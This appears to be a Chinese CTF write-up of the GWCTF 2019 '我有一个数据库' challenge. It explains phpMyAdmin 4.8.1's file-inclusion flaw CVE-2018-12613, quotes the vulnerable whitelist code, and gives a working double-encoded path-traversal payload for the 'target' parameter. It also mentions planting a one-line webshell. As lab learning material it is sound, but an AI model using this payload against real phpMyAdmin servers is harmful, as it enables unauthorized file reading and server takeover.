[GWCTF 2019]我有一个数据库

发布于:2025-07-14 ⋅ 阅读:(14) ⋅ 点赞:(0)

看上去像是某种编码,又或者是使用了不兼容的解码方式...看答案...

说是将txt转化为md格式就能看到。

抓包、扫描查找其他线索。

 phpmyadmin是数据库管理工具,phpinfo是查看php配置信息。访问一下试试:

访问phpinfo.php显示的是本机php配置,访问phpmyadmin显示的是工具界面,可以看到只有一个空的test数据库。应该又是什么新鲜知识,看答案...

phpmyadmin4.8.1中的真实漏洞CVE-2018-12613:

$target_blacklist = array (
    'import.php', 'export.php'
);
 
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}
public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
//这里传入的whitelist本来就是空的,所以whitelist就是goto_whitelist
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }
 
    if (in_array($page, $whitelist)) {
        return true;
    }
 
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
 
//mb_strpos返回第一个查找到的?的位置
//这里先把$page和?拼接在一起,防止$page里面本来就没有?,然后再获取$page中?之前的部分
    if (in_array($_page, $whitelist)) {
        return true;
    }
 
//进行url解码了,以防传进来的数据进行了url编码
    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
 
    return false;
}

为什么是截取到第一个问号进行白名单过滤呢?

访问某文件如 /index.php 时可以通过?a=1?b=2来设置查询参数。

截取问号前的部分是为了提取真正的 PHP 脚本名(如 index.php),而忽略其后的查询参数。

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        等等等等
);

存在文件包含漏洞。为什么使用的是白名单还有文件包含漏洞呢?原因就在于这里存在url解码后过滤但是包含的是解码前的内容。某个路径可以满足url解码后能通过白名单过滤(利用代码中的字符串截取)但是其实并非白名单中的文件路径(利用目录遍历特性),从而导致任意文件包含漏洞。我猜测修补方案就是保证过滤和包含的文件路径解码统一。

构造playload:

/db_sql.php?../../../../../../flag  该路径能通过白名单过滤,但是包含的是db_sql.php文件(如果存在),将问号后的内容作为查询参数。

将问号进行两次url编码:/db_sql.php%253F../../../../../../flag,首先该参数传到服务端时会自动进行一次url解码,然后过滤时再进行一次url解码,得到/db_sql.php?../../../../../../flag,可以通过白名单过滤。并且include('/db_sql.php%3F../../../../../../flag') (包含解码一次后的路径) 时利用一个目录遍历特性:

 这里的db_sql.php%3F虽然是一个不存在的路径,但是并不影响目录穿越。

/phpmyadmin/?target=db_sql.php%253F../../../../../../../flag

成功拿到flag。

但是这里有个问题,假如flag不是放在根目录中怎么办?

可以通过植入一句话木马,参考下面这篇博客:phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客 


网站公告

今日签到

点亮在社区的每一天
去签到